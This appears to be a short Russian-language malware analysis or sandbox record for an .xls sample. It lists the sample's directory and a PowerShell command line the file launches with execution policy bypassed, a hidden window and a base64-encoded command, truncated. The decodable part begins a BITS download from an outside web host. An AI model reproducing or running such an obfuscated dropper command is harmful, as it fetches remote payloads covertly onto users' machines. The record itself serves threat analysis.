Техническая информация
- <Текущая директория>\c9c11000
- <PATH_SAMPLE>.xls
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exeC byPass -nOnINtEracTivE -wIndowstylE HIDdEn -encODedCoMmANd UwB0AEEAUgBUAC0AQgBpAHQAUwB0AFIAYQBuAHMAZgBFAFIAIAAtAFMATwB1AHIAYwBFACAAaAB0AHQAcABzADoALwAvAHAAcgBuAHQAYwBzAC4AYwBvAG0ALwB1AHAA...' (со скрытым окном)